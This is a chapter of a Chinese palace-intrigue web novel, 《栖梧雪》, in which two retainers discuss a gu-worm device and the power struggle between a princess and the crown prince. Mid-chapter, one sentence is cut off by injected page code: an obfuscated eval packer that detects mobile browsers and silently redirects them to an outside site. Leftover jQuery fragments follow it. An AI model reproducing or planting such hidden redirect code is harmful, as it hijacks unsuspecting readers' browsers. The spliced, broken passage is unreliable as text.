131. 鸽子之争

作品:《栖梧雪

    因着担忧所谓“浑人”的安危,慕灵犀借探路之名,转眼便消失无踪。


    幸而此地距帝都不远,况且回宫后哪还有半分自在?外出机会难得,素来宠她的两人便由她去了。


    “对了,叶哥,此物交予你——”临行之际,慕小楼几番思量,终自怀中取出铁匣,将魔宫所得之物郑重交付。


    “这是……”


    “子母莲。”慕小楼解释道,“先前你不是问我,魔宫之人为何对宫主唯命是从?实则除却寒先生威慑,更有此蛊。万寿宫众笃信魂灵寄于魂牌,故得不死不灭。实则他们不知,是每人身中子母莲蛊——母蛊存于宫主所持魂牌,危急时此蛊会竭力护主,只要不伤及要害,皆能保命。然则若存异心,毁去母蛊,则中子蛊者立毙。纵隔千里,也必死无疑。”


    叶染衣遽然色变,起身细察慕小楼周身:“那你呢?你可曾被种此蛊?”


    “叶哥莫忧。”青年颊边泛起赧色,“你忘了我师承天冬长老,纵使愚钝,制此蛊虫尚不在话下。”


    “那就好…”叶染衣舒眉打趣,“若我的小跟班有什么闪失,灵犀那丫头怕要将我生吞活剥。”


    “……”慕小楼顿时语塞。


    叶染衣转开话头:“不过若论蛊术,你还是当请教天冬前辈。上回那觅踪蛊,纵我养千百信鸽,也不及小小甲虫耳聪目明。”


    慕小楼连忙摆手:“叶哥莫笑。天冬长老的本事,我不过习得皮毛。若论为人处世与剑术的师父,叶哥才是……”话音未落,青年却已被揽住肩膀。


    “哪来什么师父…不过见你这小跟班天赋难得,忍不住指点。你我之间,何须虚礼?”


    慕小楼垂首莞尔:“都依叶哥所言。”


    叶染衣从容接过铁盒,掂量几下后,含笑问道:“我听闻你此行是奉命专程探查魔宫,为何突然要将此物交予我?”


    “因为我实在不放心把这东西交给摘星阁。”慕小楼神色一肃,“叶哥,你可曾察觉,京华殿下的性情愈发难以揣摩了……”


    叶染衣笑容微敛,平静道:“小楼何出此言?”


    “我也说不好。”慕小楼只是斟酌着说道,“上回回宫复命时,我本担心殿下会责怪我未能成功诱擒嗔刃,不料她却命我暗中查探魔宫事宜,还要我务必与魔宫掌事建立联系……这些叶哥你也是知道的。”


    “不仅如此,她提及灵犀,说她年岁已长,也该出来历练一番。叶哥,我一直想问,此番灵犀为何随你同行?难道这也是殿下的打算……”


    话到此处,他发觉语气中带着质问之意,自觉不妥,便戛然而止。


    似是察觉到这从小一起长大的挚友心中不安,叶染衣放开青年的肩膀,站直身子正色道:“小楼,这正是我想避开小犀,要与你细说之事。”


    “——你认为公主殿下与太子殿下,谁更适合登基为帝?”


    慕小楼神色骤变,慌忙环顾四周,见无人窥探,才压低声音说:“叶哥,这等关乎性命的大事,咱们身为下人,岂能随意议论?”


    可叶染衣神情不变:“正因这是随时掉脑袋的大事,我才愿你明辨是非。这里没外人,小楼,我想知道你的想法。”


    慕小楼思虑良久,终于轻声说道:“论及治国的才能,太子殿下或许更为出众…”


    叶染衣含笑回应:“如今朝堂之上,除去那些随风倒的新贵,还有不满太子手段的旧皇子派系,以及赵皇后一脉,本就无人看好公主殿下。殿下早已年过十六,若非君上有意加封帝姬之位,近年又放权,让荣华宫有了抗衡东宫的本钱,她本该早早招婿成婚,或被选作和亲公主远嫁西州。”


    “——现在的荣华宫,全凭君上一时喜恶。时而恩宠如雨露,时而雷霆万钧,可谓摇摇欲坠。”


    慕小楼随之叹息:“…叶哥所言极是。但这浅显道理,满朝文武皆能看清,公主殿下难道就看不透么?”


    叶染衣视线移向别处,神情忽而有些恍惚,话锋随之一转:


    “小楼,你与小犀入宫时日晚些,或许不知。其实公主幼时,极爱鸽子。”


    “鸽子?”


    “嗯,她五岁生辰时,父亲曾送她一对雪白信鸽作生辰礼。那对鸽子极为神俊,羽色纯然无瑕,眼眸如红宝石般剔透灵动。公主珍爱异常,竟与它们同食同寝——若用膳时不见那对鸽儿立于桌案,她必不肯动箸分毫。”


    “后来如何?我怎从未见过叶哥所言的鸽子?”


    “不出一年,那对鸽子被一只猫儿捕食了。”叶染衣语声低缓,“那猫乃大皇子所饲,无人敢问责。公主得知后,却执意亲去寻大皇子讨要说法,终因力弱被推倒在地。大皇子更扬言要纵猫抓花她的脸面。”


    “——彼时我等皆不在她身侧,唯有时为三皇子的太子殿下挺身相护,太子殿下臂上那道猫爪留下的伤痕,恐怕至今犹在。”


    “景之殿下?”慕小楼忆起东宫那抹冰冷而高傲的身影,只觉难以置信。


    “是啊。”叶染衣怅然轻叹,“那日公主虽未受伤,却是真真切切受了惊吓而晕厥。景之殿下甘冒被长兄厌弃之险为她出头,又背着她从御花园一路奔至荣华宫呼救,连鞋履跑脱都浑然未觉。当时他满身尘土,臂上淌着血痕,若非公主昏迷着,倒像是该被救治的人是他才对……”


    “——那时他们情谊甚笃。景之殿下在宫中备受冷落,公主殿下虽得君上怜爱,然母后早逝,遭逢欺辱亦无人撑腰。谁能想到,深宫寂寥,唯有他们二人最似血脉相连的兄妹…”


    慕小楼不由得摇了摇头,兼之他自己也有亲妹妹,心中更加唏嘘——谁曾想彼时亲密无间的两人,如今会因为权柄而势同水火。纵是皇家贵胄,亦难以免俗。


    叶染衣兀自说道:“犹记公主初醒时,景之殿下便责备她:‘你究竟生了几颗胆,敢向大皇兄讨两条畜生的公道?’公主却只攥着他的衣袖说:‘三哥哥,我不是要公道,只是想我的鸽子回来,我真的很喜欢它们……’那时候,包括父亲在内,我们都沉默了。因为谁都知道,即使父亲再给她一对新鸽,她最爱的鸽子也永远回不来了……”


    “——你知道那时候,景之殿下是怎么回应她吗?”


    慕小楼摇头。


    叶染衣轻笑一声:“景之殿下只对她说:‘这种滋味很不好受吧?我没办法让你的鸽子回来,但有办法让他也尝尝这种滋味。’”


    “难道是那时候的…”


    慕小楼一怔,随即忆起他最初随叶氏父子入宫之际,就听宫里的老太监说,宫禁养猫,源于一场持续了四五年的离奇“猫瘟”。据说因这灾异,宫中近十年都鲜见猫的踪影,以致老鼠横行,不得不招募宫人专职灭鼠。


    宫里的御医长期追查源头,却始终未果。一向爱猫的大皇子此后被禁止养猫,为此郁郁寡欢多时。更甚者,宫中传言是大皇子的猫儿将瘟疫传入宫中,君上因此以不思进取为由关了他数月禁闭……


    叶染衣轻轻点头,未置一词。


    “公主殿下昔日对景之殿下言听计从,诸多事务几乎由他亲自调教。不得不说,景之殿下是一位绝好的老师。至于这招‘兵不血刃’,殿下不仅心领神会,甚至做得比他预期的更佳。”


    青年说着,竟摇头笑叹:“可从那日起,父亲便与我说过,倘若要为这天下择一主,比之公主殿下,景之殿下却更适合做个君王。因为那时候,景之殿下想教她的,实则不是兵不血刃,而是借刀杀人。”


    慕小楼呼吸一滞。他心底忽感一阵悲凉,是为公主殿下而感到悲凉。习武之人,特别是习剑者,都知道“天赋”二字有多么重要——那是一种与生俱来、无法改变的东西。


    而荣华公主,确实缺乏与之匹敌的天资与才能。非但如此,她更没有自知之明。


    她又拿什么和谢景之争呢?


    叶染衣摇头道:“因此我敢断言,当下看来,若殿下想扳倒东宫,无异于痴人说梦。”


    慕小楼闻言急急追问道:“既然叶哥明白此理,为何还纵容公主殿下与其争锋相对?难道在她心中,自幼相伴的亲情竟不如那至高无上的权柄?再者而言,自古夺嫡之事成王败寇,大皇子与二皇子尚有前车之鉴,若是败了,太子殿下又怎么会放过她……”


    “小楼。”叶染衣敛了笑意,转目正色道,“那么我再问你——是成为帝王才能赢得天下归心,还是拥有令天下归


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894369|166670||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心的禀赋,才能成为帝王?”


    “这……”


    慕小楼一时语塞,更为这呼之欲出的答案而感到一阵莫名的惊惶。


    要知道,他们此刻的对话,若有一句传到权贵耳中,便会招来杀身之祸,甚至株连九族的灾难。因为问题的答案已非谢氏一族所能概括,关乎所谓“正统”的争论,更是历代帝王的大忌。


    “自然是…是前者…不,果真还是后者吧…”此时慕小楼却犹疑不决起来。


    叶染衣轻轻拍了拍他的肩头:“这问题不必回应。当年我也未能回答父亲这一问。”


    “其实殿下骨子里,也不过是个心思纯粹的孩子。我自幼照料她,岂会不知她本性良善?她早早失了生母庇护,君上又为朝政所困,令她平白遭了许多轻慢。如今所得的这些尊荣,于她而言,只当是迟来的补偿罢了。”


    叶染衣唇角微扬,眼神却渐渐缥缈。慕小楼明白,眼前之人虽立于此地,心神早已飞回那座金丝牢笼般的宫阙之中了。


    青年续道:“正因如此,殿下才会恐惧失去,畏惧欺瞒,更忌惮背叛。她只是本能地想要攥紧拥有的一切,如同幼时难得糖果的孩童——尝过甜头的人,怎会甘心撒手?你要劝她收手,恐怕比登天还难。”


    慕小楼摇头:“有时我只当殿下是孩子心性,可有时候,我又觉她的眼神比朝堂上那些心思最深的老狐狸还要可怖…”


    他想到上一次觐见之时殿下的模样,不由又是一阵心悸。


    什么都好,只要不是动了灵犀的念头…


    岂料叶染衣托腮半晌,却忽然说道:“小楼,兴许你这怕女人的毛病还是得治治…”


    慕小楼登时苦笑道:“叶哥,都什么时候了,你还同我说笑…你明知我不是因着这个惧怕殿下…”


    叶染衣耸耸肩,似是随口说道:“对了小楼,其实是我主动将小犀带出来的。我瞧她出关已有几日,朽婆婆和你我都不在摘星阁,留她一个人多孤单啊?我就顺道提议带她出来走走,你别多想。”


    “——小犀总会成年出嫁的,你不可能永远把她关在摘星阁里保护着吧?让她跟我出来历练,总比跟着摘星阁那些不明不白的人强,我想你该放心些。”


    慕小楼恍然了悟,羞赧挠头:“原来如此,是我多心了。方才的话,叶哥可别告诉殿下。”


    他登时为自己方才的小人之心而感到一阵愧疚。


    “那是自然。”叶染衣拍了拍他的肩头,点到为止,“小楼,世间之事,常是身不由己。君上和赵相,未必不是在借殿下争权。她与东宫之争,非她所愿,更非她所能掌控。但作为父亲的继任者,身为殿下的贴身护卫,我只知道一件事——无论结局怎样,我都会始终如一地支持她。”


    叶染衣细细注视着他的神色,郑重说道:“若她取胜,我便统领叶家归顺效忠。若她失利,叶家也可成为她保全自身的后盾。小楼,我希望你同样如此。倘若你不愿这么做,也不要伤害她,只管离去便是。”


    “叶哥别说笑了。我怎么会走…”慕小楼神色一凛,颔首道了句不敢,此话便算是揭过。


    殊不知尽管叶染衣此刻显得释然,心中却另有一番计较——他深知眼前这青年的软肋便是其珍视的妹妹慕灵犀,而殿下此次行事确有偏颇,何必偏偏选中她作为示威对象?


    这回他费尽心思才哄好了这平日木讷、关键时刻却透着精明的青年,却又不由心生忧虑,谁知公主殿下下次又会生出何等事端……


    小楼他自不必担忧,两人间互信深厚,方才也不过是一段插曲。或许于这对单纯的兄妹而言,不了解背后的龌龊事,兴许反而能过得轻松些。


    那么对于其他人呢?


    此刻叶染衣不禁暗忖——若连小楼都觉察到荣华宫中的异样,宁可相信自己也不信殿下与摘星阁,那其他人应早已察觉权力更迭中的暗流。


    单论摘星阁的几位核心长老——“慈心毒手”天冬、“踏雪飞鸿”朽婆婆,以及帝师无名,个个心怀异志。加上数年前黑水白山两人叛逃的变故,更让摘星阁四分五裂,如今长老们各自为政,余下的那些人究竟作何盘算?他们的忠诚是否依然无懈可击?